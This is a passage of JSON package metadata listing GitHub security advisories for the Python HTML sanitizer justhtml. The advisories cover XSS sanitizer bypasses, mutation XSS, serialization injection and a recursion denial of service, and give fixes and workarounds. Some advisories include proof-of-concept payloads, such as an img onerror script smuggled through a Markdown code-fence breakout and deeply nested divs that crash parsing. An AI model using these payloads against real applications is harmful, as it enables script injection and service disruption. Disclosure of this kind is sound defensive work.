`justhtml`.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-22T21:25:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:L/SA:N","references":["https://github.com/EmilStenstrom/justhtml/security/advisories/GHSA-vrx2-77f2-ww34","https://github.com/advisories/GHSA-vrx2-77f2-ww34"],"source_kind":"github","identifiers":["GHSA-vrx2-77f2-ww34"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-22T22:00:09.016Z","updated_at":"2026-10-16T06:03:58.922Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cngyLTc3ZjItd3czNM4ABVqC","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12cngyLTc3ZjItd3czNM4ABVqC","packages":[{"ecosystem":"pypi","package_name":"justhtml","versions":[{"first_patched_version":"1.17.0","vulnerable_version_range":"\u003c 1.17.0"}],"purl":"pkg:pypi/justhtml"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cngyLTc3ZjItd3czNM4ABVqC/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00cDY0LXY4ZjUtcjJneM4ABVSY","url":"https://github.com/advisories/GHSA-4p64-v8f5-r2gx","title":"Multiple security fixes in justhtml","description":"## Summary\n\n`justhtml` `1.16.0` fixes multiple security issues in sanitization, serialization, and programmatic DOM handling.\n\nMost of these issues affected one of these advanced paths rather than ordinary parsed HTML with the default safe settings:\n\n- programmatic DOM input to `sanitize()` or `sanitize_dom()`\n- reused or mutated sanitization policy objects\n- custom policies that preserve foreign namespaces such as SVG or MathML\n\n## Affected versions\n\n- `justhtml` `\u003c= 1.15.0`\n\n## Fixed version\n\n- `justhtml` `1.16.0` released on April 12, 2026\n\n## Impact\n\n### Policy reuse and mutation\nNested mutation of sanitization policy internals could weaken later sanitization by leaving stale compiled sanitizers active, or by mutating exported default policy internals process-wide.\n\n### In-memory sanitization gaps\nProgrammatic DOM sanitization could miss dangerous mixed-case tag names such as `ScRiPt` or `StYlE`, and custom `drop_content_tags` values such as `{\"SCRIPT\"}` could silently fail to drop dangerous subtrees.\n\n### Serialization injection\nCrafted programmatic doctype names could serialize into active markup before the document body.\n\n### Foreign-namespace policy bypasses\nCustom policies that preserve SVG or MathML could allow active SVG features to survive sanitization, including:\n\n- animation elements such as `\u003cset\u003e` and `\u003canimate\u003e` that mutate already-sanitized attributes after sanitization\n- presentation attributes such as `fill`, `clip-path`, `mask`, `marker-start`, and `cursor` containing external `url(...)` references\n- programmatic DOM trees that claim `namespace=\"html\"` but serialize as `\u003csvg\u003e` or `\u003cmath\u003e`, bypassing foreign-content checks\n\n### Rawtext hardening gap\nMixed-case programmatic `style` or `script` nodes could bypass rawtext hardening and preserve active stylesheet content such as remote `@import` rules.\n\n## Default configuration\n\nMost of these issues did **not** affect the normal `JustHTML(..., sanitize=True)` path for ordinary parsed HTML.\n\nThe main exceptions were policy-mutation issues, which could weaken later sanitization if code mutated nested state on reused policy objects or exported defaults.\n\n## Recommended action\n\nUpgrade to `justhtml` `1.16.0`.\n\nIf you cannot upgrade immediately:\n\n- do not mutate `DEFAULT_POLICY`, `DEFAULT_DOCUMENT_POLICY`, or nested policy internals\n- avoid reusing policy objects after mutating nested state\n- avoid preserving SVG or MathML for untrusted input\n- avoid preserving `style` or `script` in custom policies for untrusted input\n- avoid serializing untrusted programmatic doctypes or DOM trees\n\n## Credit\n\nDiscovered during an internal security review of `justhtml`.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-04-14T20:05:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":1.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:U","references":["https://github.com/EmilStenstrom/justhtml/security/advisories/GHSA-4p64-v8f5-r2gx","https://github.com/advisories/GHSA-4p64-v8f5-r2gx"],"source_kind":"github","identifiers":["GHSA-4p64-v8f5-r2gx"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-14T21:00:10.071Z","updated_at":"2026-10-16T06:04:10.934Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cDY0LXY4ZjUtcjJneM4ABVSY","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00cDY0LXY4ZjUtcjJneM4ABVSY","packages":[{"ecosystem":"pypi","package_name":"justhtml","versions":[{"first_patched_version":"1.16.0","vulnerable_version_range":"\u003c= 1.15.0"}],"purl":"pkg:pypi/justhtml"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cDY0LXY4ZjUtcjJneM4ABVSY/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jOXZtLWh2ODYtZjIzcs4ABVFa","url":"https://github.com/advisories/GHSA-c9vm-hv86-f23r","title":"justhtml includes multiple security fixes","description":"## Summary\n\n`justhtml` `1.15.0` includes multiple security fixes affecting URL sanitization helpers, HTML serialization, Markdown passthrough, and several custom sanitization-policy edge cases.\n\nThese issues have different impact levels and do not all affect the default configuration in the same way.\n\n## Affected versions\n\n- `justhtml` `\u003c= 1.14.0`\n\n## Fixed version\n\n- `justhtml` `1.15.0` released on April 9, 2026\n\n## Impact overview\n\n### Helper and serialization issues\nThese issues could affect applications using JustHTML helpers or programmatic DOM construction, even outside the default HTML sanitization path.\n\n- `JustHTML.clean_url_value(...)` and `clean_url_in_js_string(...)` could accept URL values such as `javascript\u0026#58...`, which became active `javascript:` URLs after HTML attribute parsing.\n- URL sanitization could treat values like `\\\\evil.example/x` or `/\\\\evil.example/x` as safe relative URLs even though browsers could resolve them as remote requests.\n- Malformed bracketed hosts such as `https://[evil.example]/x` could raise exceptions and crash sanitization when host allowlists were used.\n- Programmatic element or attribute names containing markup-breaking characters could be serialized into active HTML.\n- Programmatic HTML comments containing `--\u003e` could break out of the comment and inject live markup.\n\n### Markdown passthrough issue\n- `to_markdown(html_passthrough=True)` could reintroduce active HTML from sanitized `\u003ctextarea\u003e` content by emitting a raw closing `\u003c/textarea\u003e` sequence.\n\n### Custom policy issues\nThese issues affected custom policies more than the default safe configuration.\n\n- `a[ping]` was handled as a single URL even though browsers interpret it as a space-separated URL list.\n- `attributionsrc` was not treated as URL-bearing and could preserve attacker-controlled reporting endpoints.\n- `link[imagesrcset]` was not treated as URL-bearing and could preserve attacker-controlled image candidates.\n- Preserved `\u003cmeta http-equiv=\"refresh\"\u003e` tags could keep redirect targets without URL-policy enforcement.\n- Preserved `\u003cbase href\u003e` tags could rewrite how later relative URLs resolved in the browser.\n- Preserved `\u003cstyle\u003e` blocks could keep resource-loading CSS such as `@import`, `url(...)`, or `image-set(...)`.\n- Mixed-case attribute names in custom transform pipelines could bypass or confuse security-related transforms such as `DropAttrs(...)`, `DropUrlAttrs(...)`, `AllowStyleAttrs(...)`, and `MergeAttrs(...)`.\n\n## Default configuration\n\nMost of the custom-policy issues above did **not** affect the default `JustHTML(..., sanitize=True)` behavior.\n\nThe main exceptions were:\n- helper APIs such as `clean_url_value(...)`\n- programmatic DOM / serializer usage\n- applications explicitly using `html_passthrough=True`\n- applications using custom policies or custom transform pipelines\n\n## Recommended action\n\nUpgrade to `justhtml` `1.15.0`.\n\nIf you cannot upgrade immediately:\n\n- avoid `html_passthrough=True` for untrusted content\n- avoid preserving `\u003cstyle\u003e`, `\u003cmeta http-equiv=\"refresh\"\u003e`, and `\u003cbase href\u003e` in custom policies\n- avoid allowing `ping`, `attributionsrc`, or `imagesrcset` unless you explicitly validate them\n- avoid serializing untrusted programmatic node names, attribute names, or comment data","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-10T19:20:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/EmilStenstrom/justhtml/security/advisories/GHSA-c9vm-hv86-f23r","https://github.com/EmilStenstrom/justhtml/releases/tag/v1.15.0","https://github.com/EmilStenstrom/justhtml/compare/v1.14.0...v1.15.0","https://github.com/advisories/GHSA-c9vm-hv86-f23r"],"source_kind":"github","identifiers":["GHSA-c9vm-hv86-f23r"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-10T20:00:12.605Z","updated_at":"2026-10-16T06:04:18.010Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jOXZtLWh2ODYtZjIzcs4ABVFa","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jOXZtLWh2ODYtZjIzcs4ABVFa","packages":[{"ecosystem":"pypi","package_name":"justhtml","versions":[{"first_patched_version":"1.15.0","vulnerable_version_range":"\u003c= 1.14.0"}],"purl":"pkg:pypi/justhtml"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jOXZtLWh2ODYtZjIzcs4ABVFa/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yNzU4LThoeHctNDg0Nc4ABU3O","url":"https://github.com/advisories/GHSA-r758-8hxw-4845","title":"justhtml: Mutation XSS with custom foreign-namespace sanitization policies","description":"## Summary\n\nA parser-differential / mutation XSS issue was found in `justhtml` when using a **custom sanitization policy** that preserves foreign namespaces such as SVG or MathML.\n\nUnder these custom settings, specially crafted input could sanitize into HTML that looked safe at first, but became unsafe when parsed again by a browser or another HTML parser.\n\n## Impact\n\nThis issue does **not** affect the default safe configuration.\n\nYou may be affected if you use a custom `SanitizationPolicy` with settings like:\n\n- `drop_foreign_namespaces=False`\n- allowlisted foreign elements such as MathML or SVG\n- allowlisted raw-text containers such as `\u003cstyle\u003e`\n\nIn that case, an attacker could inject markup that survives sanitization and turns into active HTML after re-parsing.\n\n## Affected versions\n\n- `justhtml` `\u003c= 1.13.0`\n\n## Fixed version\n\n- Fixed in `1.14.0`\n\n## Workarounds\n\nUntil you upgrade:\n\n- keep `drop_foreign_namespaces=True`\n- avoid allowlisting foreign namespaces for untrusted input\n- avoid allowlisting raw-text containers such as `\u003cstyle\u003e` in custom policies\n\n## Notes\n\nThe default `JustHTML(..., sanitize=True)` behavior was not found to be vulnerable in this issue.\n\n## Credit\n\nDiscovered by JustHTML author during a LLM-based security review of `justhtml`.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-04-08T00:06:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.1,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/EmilStenstrom/justhtml/security/advisories/GHSA-r758-8hxw-4845","https://github.com/EmilStenstrom/justhtml/commit/8adc4dfe31723dc522f44338f9bd98381c92b076","https://github.com/EmilStenstrom/justhtml/releases/tag/v1.14.0","https://github.com/advisories/GHSA-r758-8hxw-4845"],"source_kind":"github","identifiers":["GHSA-r758-8hxw-4845"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-08T01:00:11.374Z","updated_at":"2026-10-16T06:04:23.196Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNzU4LThoeHctNDg0Nc4ABU3O","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yNzU4LThoeHctNDg0Nc4ABU3O","packages":[{"ecosystem":"pypi","package_name":"justhtml","versions":[{"first_patched_version":"1.14.0","vulnerable_version_range":"\u003e= 1.13.0, \u003c 1.14.0"}],"purl":"pkg:pypi/justhtml"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNzU4LThoeHctNDg0Nc4ABU3O/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01dnAzLTNjZzYtMnJxM84ABUG1","url":"https://github.com/advisories/GHSA-5vp3-3cg6-2rq3","title":"JustHTML is vulnerable to XSS via code fence breakout in \u003cpre\u003e content","description":"## Summary\n\n`to_markdown()` is vulnerable when serializing attacker-controlled `\u003cpre\u003e` content. The `\u003cpre\u003e` handler emits a fixed three-backtick fenced code block, but writes decoded text content into that fence without choosing a delimiter longer than any backtick run inside the content.\n\nAn attacker can place backticks and HTML-like text inside a sanitized `\u003cpre\u003e` element so that the generated Markdown closes the fence early and leaves raw HTML outside the code block. When that Markdown is rendered by a CommonMark/GFM-style renderer that allows raw HTML, the HTML executes.\n\nThis is a bypass of the v1.12.0 Markdown hardening. That fix escaped HTML-significant characters for regular text nodes, but `\u003cpre\u003e` uses a separate serialization path and does not apply the same protection.\n\n## Details\n\nThe vulnerable `\u003cpre\u003e` Markdown path:\n\n- extracts decoded text from the `\u003cpre\u003e` subtree\n- opens a fenced block with a fixed delimiter of ``````\n- writes the decoded text directly into the output\n- closes with another fixed ``````\n\nBecause the fence length is fixed, attacker-controlled content containing a backtick run of length 3 or more can terminate the code block. If the content also contains decoded HTML-like text such as `\u0026lt;img ...\u0026gt;`, that text appears outside the fence in the resulting Markdown and is treated as raw HTML by downstream Markdown renderers.\n\nThe issue is not that HTML-like text appears inside code blocks. The issue is that the serializer allows attacker-controlled `\u003cpre\u003e` text to break out of the fixed fence.\n\n## Reproduction\n\n```python\nfrom justhtml import JustHTML\n\npayload = \"\u003cpre\u003e\u0026#96;\u0026#96;\u0026#96;\\n\u0026lt;img src=x onerror=alert(1)\u0026gt;\u003c/pre\u003e\"\ndoc = JustHTML(payload, fragment=True)  # default sanitize=True\n\nprint(doc.to_html(pretty=False))\n# \u003cpre\u003e```\n# \u0026lt;img src=x onerror=alert(1)\u0026gt;\u003c/pre\u003e\n\nprint(doc.to_markdown())\n# ```\n# ```\n# \u003cimg src=x onerror=alert(1)\u003e\n# ```\n\n```\n\nRendered as CommonMark/GFM-style Markdown, that output is interpreted as:\n\n1. Line 1 opens a fenced code block\n2. Line 2 closes it\n3. Line 3 is raw HTML outside the fence\n4. Line 4 opens a new fence\n\n## Impact\n\nApplications that treat `JustHTML(..., sanitize=True).to_markdown()` output as safe for direct rendering in Markdown contexts may be exposed to XSS, depending on the downstream Markdown renderer's raw-HTML handling.\n\n## Root Cause\n\nThe `\u003cpre\u003e` Markdown serializer uses a fixed fence instead of selecting a delimiter longer than the longest backtick run in the content.\n\n## Fix\n\nWhen serializing `\u003cpre\u003e` content to Markdown, choose a fence length longer than any backtick run present in the code block content, with a minimum length of 3.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-24T19:22:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/EmilStenstrom/justhtml/security/advisories/GHSA-5vp3-3cg6-2rq3","https://github.com/EmilStenstrom/justhtml/commit/f35f8f723c713bd8f912d86e9ec6881275ff5af9","https://github.com/EmilStenstrom/justhtml/releases/tag/v1.13.0","https://github.com/advisories/GHSA-5vp3-3cg6-2rq3"],"source_kind":"github","identifiers":["GHSA-5vp3-3cg6-2rq3"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-24T20:00:09.137Z","updated_at":"2026-10-16T06:04:42.712Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01dnAzLTNjZzYtMnJxM84ABUG1","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01dnAzLTNjZzYtMnJxM84ABUG1","packages":[{"ecosystem":"pypi","package_name":"justhtml","versions":[{"first_patched_version":"1.13.0","vulnerable_version_range":"\u003c= 1.12.0"}],"purl":"pkg:pypi/justhtml"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01dnAzLTNjZzYtMnJxM84ABUG1/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zcmNtLXZqcmMtcDQ1as4ABT1W","url":"https://github.com/advisories/GHSA-3rcm-vjrc-p45j","title":"JustHTML has a Sanitizer Bypass (in Markdown)","description":"## Summary\n\n`to_markdown()` does not sufficiently escape text content that looks like HTML. As a result, untrusted input that is safe in `to_html()` can become raw HTML in Markdown output.\n\nThis is not specific to tokenizer raw-text states like `\u003ctitle\u003e`, `\u003cnoscript\u003e`, or `\u003cplaintext\u003e`, although those states can trigger the behavior. The root cause is broader: Markdown text serialization leaves angle brackets unescaped in text nodes.\n\n## Details\n\nWhen converting a parsed document to Markdown, text nodes are escaped for a small set of Markdown metacharacters, but HTML-significant characters such as `\u003c` and `\u003e` are preserved. That means content parsed as text, including entity-decoded text or text produced by RCDATA/RAWTEXT-style parsing, can be emitted into Markdown as raw HTML.\n\nExamples of affected input include:\n\n- Text produced from entity-decoded input such as `\u0026lt;script\u0026gt;...\u0026lt;/script\u0026gt;`\n- Text inside elements like `\u003ctitle\u003e`, `\u003ctextarea\u003e`, `\u003cnoscript\u003e` (when parsed as raw text), and `\u003cplaintext\u003e`\n\nThis is distinct from actual `\u003cscript\u003e` or `\u003cstyle\u003e` elements in the DOM. Those are already dropped by default in `to_markdown()` unless `html_passthrough=True`.\n\n## Proof of Concept\n\n### General case\n\n```python\nfrom justhtml import JustHTML\n\ndoc = JustHTML(\"\u003cp\u003e\u0026lt;img src=x onerror=alert(1)\u0026gt;\u003c/p\u003e\", fragment=True)\n\nprint(doc.to_html())\nprint()\nprint(doc.to_markdown())","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-18T20:19:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/EmilStenstrom/justhtml/security/advisories/GHSA-3rcm-vjrc-p45j","https://github.com/advisories/GHSA-3rcm-vjrc-p45j"],"source_kind":"github","identifiers":["GHSA-3rcm-vjrc-p45j"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-18T21:00:11.195Z","updated_at":"2026-10-16T06:04:48.872Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zcmNtLXZqcmMtcDQ1as4ABT1W","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zcmNtLXZqcmMtcDQ1as4ABT1W","packages":[{"ecosystem":"pypi","package_name":"justhtml","versions":[{"first_patched_version":"1.12.0","vulnerable_version_range":"\u003c= 1.11.0"}],"purl":"pkg:pypi/justhtml"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zcmNtLXZqcmMtcDQ1as4ABT1W/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xdmMyLW1nNzItampoeM4ABT1V","url":"https://github.com/advisories/GHSA-qvc2-mg72-jjhx","title":"JustHTML Affected by Mutation XSS via Literal Text Serialization in Raw Text Elements (style/script)","description":"## Summary\n\nSanitized DOM trees can be unsafe to serialize when a custom policy allows raw-text elements such as `\u003cstyle\u003e` or `\u003cscript\u003e`.\n\nThe issue affects DOM trees that are constructed or modified programmatically and then passed through `sanitize_dom()` with a policy that keeps these elements. Text nodes inside `\u003cstyle\u003e` and `\u003cscript\u003e` are serialized literally, so attacker-controlled text containing the matching closing tag sequence can break out of the raw-text context and inject HTML into the serialized output.\n\nThe default sanitization policy is not affected because it drops the contents of `style` and `script`.\n\n## Details\n\nThe root cause is in HTML serialization of raw-text elements. In serialize.py, text children of `script` and `style` are emitted verbatim:\n\n```python\n_LITERAL_TEXT_SERIALIZATION_ELEMENTS = frozenset({\"script\", \"style\"})\n\ndef _serialize_text_for_parent(text: str | None, parent_name: str | None) -\u003e str:\n    if not text:\n        return \"\"\n    if parent_name in _LITERAL_TEXT_SERIALIZATION_ELEMENTS:\n        return text\n    return _escape_text(text)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-18T20:19:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/EmilStenstrom/justhtml/security/advisories/GHSA-qvc2-mg72-jjhx","https://github.com/advisories/GHSA-qvc2-mg72-jjhx"],"source_kind":"github","identifiers":["GHSA-qvc2-mg72-jjhx"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-18T21:00:11.195Z","updated_at":"2026-10-16T06:04:48.872Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xdmMyLW1nNzItampoeM4ABT1V","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xdmMyLW1nNzItampoeM4ABT1V","packages":[{"ecosystem":"pypi","package_name":"justhtml","versions":[{"first_patched_version":"1.12.0","vulnerable_version_range":"\u003c= 1.11.0"}],"purl":"pkg:pypi/justhtml"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xdmMyLW1nNzItampoeM4ABT1V/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12N2NmLWM5cm0td20zas4ABTv9","url":"https://github.com/advisories/GHSA-v7cf-c9rm-wm3j","title":"Uncontrolled recursion DoS in JustHTML() via deeply nested HTML","description":"### Summary\n\njusthtml through 1.9.1 allows denial of service via deeply nested HTML. During parsing, `JustHTML.__init__()` always reaches `TreeBuilder.finish()`, which unconditionally calls `_populate_selectedcontent()`. That function recursively traverses the DOM via `_find_elements()` / `_find_element()` without a depth bound, allowing attacker-controlled deeply nested input to trigger an unhandled `RecursionError` on CPython. Depending on the host application's exception handling, this can abort parsing, fail requests, or terminate a worker/process.\n\n### Details\n\n`TreeBuilder.finish()` ([`treebuilder.py#L476`](https://github.com/EmilStenstrom/justhtml/blob/a866b6077770d9ec4cb6b6f9bfe7c918f98455e4/src/justhtml/treebuilder.py#L476)) unconditionally calls `_populate_selectedcontent(self.document)` at [line 494](https://github.com/EmilStenstrom/justhtml/blob/a866b6077770d9ec4cb6b6f9bfe7c918f98455e4/src/justhtml/treebuilder.py#L494). `_populate_selectedcontent()` ([`treebuilder.py#L1243`](https://github.com/EmilStenstrom/justhtml/blob/a866b6077770d9ec4cb6b6f9bfe7c918f98455e4/src/justhtml/treebuilder.py#L1243)) calls `_find_elements()` ([`treebuilder.py#L1280`](https://github.com/EmilStenstrom/justhtml/blob/a866b6077770d9ec4cb6b6f9bfe7c918f98455e4/src/justhtml/treebuilder.py#L1280)) to recursively search the DOM tree for `\u003cselect\u003e` elements:\n\n```python\ndef _find_elements(self, node: Any, name: str, result: list[Any]) -\u003e None:\n    \"\"\"Recursively find all elements with given name.\"\"\"\n    if node.name == name:\n        result.append(node)\n    if node.has_child_nodes():\n        for child in node.children:\n            self._find_elements(child, name, result)  # recursive call\n```\n\nWhen the DOM tree depth exceeds CPython's default recursion limit (1000), this raises an unhandled `RecursionError`. The full call path is:\n\n`JustHTML(html)` → `tokenizer.run()` → `tree_builder.finish()` → `_populate_selectedcontent(document)` → `_find_elements(root, \"select\", selects)` (recursive)\n\nDeeply nested DOM trees can be produced by nesting `\u003cdiv\u003e` tags ~1000 levels deep. On CPython with the default recursion limit, approximately 11 KB of `\u003cdiv\u003e` nesting is sufficient to trigger the error. The exact depth threshold is environment-dependent (CPython version, recursion limit setting, call stack depth at invocation).\n\nAdditional recursive functions are affected on already-parsed deep trees:\n- `Node.clone_node(deep=True)` ([`node.py#L523`](https://github.com/EmilStenstrom/justhtml/blob/a866b6077770d9ec4cb6b6f9bfe7c918f98455e4/src/justhtml/node.py#L523)) — called during sanitization\n- `_node_to_html()` ([`serialize.py#L580`](https://github.com/EmilStenstrom/justhtml/blob/a866b6077770d9ec4cb6b6f9bfe7c918f98455e4/src/justhtml/serialize.py#L580)) — used by `to_html(pretty=True)`\n- `_to_markdown_walk()` ([`node.py#L817`](https://github.com/EmilStenstrom/justhtml/blob/a866b6077770d9ec4cb6b6f9bfe7c918f98455e4/src/justhtml/node.py#L817)) — used by `to_markdown()`\n\nNote: the library already uses iterative traversal in several comparable functions (e.g., `_node_to_html_compact` at [`serialize.py#L197`](https://github.com/EmilStenstrom/justhtml/blob/a866b6077770d9ec4cb6b6f9bfe7c918f98455e4/src/justhtml/serialize.py#L197), `_to_text_collect` at [`node.py#L161`](https://github.com/EmilStenstrom/justhtml/blob/a866b6077770d9ec4cb6b6f9bfe7c918f98455e4/src/justhtml/node.py#L161), `_is_blocky_element` at [`serialize.py#L405`](https://github.com/EmilStenstrom/justhtml/blob/a866b6077770d9ec4cb6b6f9bfe7c918f98455e4/src/justhtml/serialize.py#L405), `apply_to_children` at [`transforms.py#L1642`](https://github.com/EmilStenstrom/justhtml/blob/a866b6077770d9ec4cb6b6f9bfe7c918f98455e4/src/justhtml/transforms.py#L1642)), demonstrating the correct pattern.\n\n### PoC\n\n```python\nfrom justhtml import JustHTML\n\nhtml = \"\u003cdiv\u003e\" * 1000 + \"x\" + \"\u003c/div\u003e\" * 1000\ndoc = JustHTML(html)  # raises RecursionError\n```\n\nTest environment: CPython 3.14.3, macOS ARM64 (Apple Silicon), justhtml 1.9.1, default recursion limit (1000)\n\n| Input | Size | Result |\n|-------|------|--------|\n| `\u003cdiv\u003e` × 500 | 5,501 bytes | OK |\n| `\u003cdiv\u003e` × 800 | 8,801 bytes | OK |\n| `\u003cdiv\u003e` × 1000 | 11,001 bytes | RecursionError |\n\nThe error occurs with both `sanitize=True` (default) and `sanitize=False`.\n\n### Impact\n\nAn attacker who can supply HTML for parsing can trigger an unhandled `RecursionError` during `JustHTML()` construction. The error is triggered during construction and is not avoided by `justhtml` configuration alone; mitigating it requires host-application exception handling or input constraints. Depending on the host application's exception handling, this can abort parsing, fail requests, or terminate a worker/process.\n\n### Suggested Fix\n\nConvert the recursive tree traversal functions to iterative implementations using an explicit stack. Example for `_find_elements`:\n\n```python\ndef _find_elements(self, node: Any, name: str, result: list[Any]) -\u003e None:\n    stack = [node]\n    while stack:\n        current = stack.pop()\n        if current.name == name:\n            result.append(current)\n        if current.has_child_nodes():\n            stack.extend(reversed(current.children))\n```\n\nThe same conversion should be applied to `_find_element`, `clone_node(deep=True)`, `_node_to_html()`, and `_to_markdown_walk()`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-17T14:07:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/EmilStenstrom/justhtml/security/advisories/GHSA-v7cf-c9rm-wm3j","https://github.com/EmilStenstrom/justhtml/releases/tag/v1.10.0","https://nvd.nist.gov/vuln/detail/CVE-2026-9769","https://www.vulncheck.com/advisories/justhtml-before-denial-of-service-via-deeply-nested-html","https://github.com/advisories/GHSA-v7cf-c9rm-wm3j"],"source_kind":"github","identifiers":["GHSA-v7cf-c9rm-wm3j","CVE-2026-9769"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-17T15:00:10.422Z","updated_at":"2026-10-16T06:04:52.004Z","epss_percentage":0.00337,"epss_percentile":0.25236,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12N2NmLWM5cm0td20zas4ABTv9","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12N2NmLWM5cm0td20zas4ABTv9","packages":[{"ecosystem":"pypi","package_name":"justhtml","versions":[{"first_patched_version":"1.10.0","vulnerable_version_range":"\u003c= 1.9.1"}],"purl":"pkg:pypi/justhtml"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12N2NmLWM5cm0td20zas4ABTv9/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/justhtml","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/pypi/justhtml","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/justhtml/dependencies","status":null,"funding_links":["https://github.com/sponsors/EmilStenstrom"],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-08T09:13:22.820Z","issues_count":20,"pull_requests_count":23,"avg_time_to_close_issue":272218.25,"avg_time_to_close_pull_request":114784.4347826087,"issues_closed_count":20,"pull_requests_closed_count":23,"pull_request_authors_count":11,"issue_authors_count":12,"avg_comments_per_issue":4.25,"avg_comments_per_pull_request":1.4782608695652173,"merged_pull_requests_count":14,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":20,"past_year_pull_requests_count":23,"past_year_avg_time_to_close_issue":272218.25,"past_year_avg_time_to_close_pull_request":114784.4347826087,"past_year_issues_closed_count":20,"past_year_pull_requests_closed_count":23,"past_year_pull_request_authors_count":11,"past_year_issue_authors_count":12,"past_year_avg_comments_per_issue":4.25,"past_year_avg_comments_per_pull_request":1.4782608695652173,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":14,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/issues","maintainers":[{"login":"EmilStenstrom","count":5,"url":"https://issues.ecosyste.ms/api/v1/h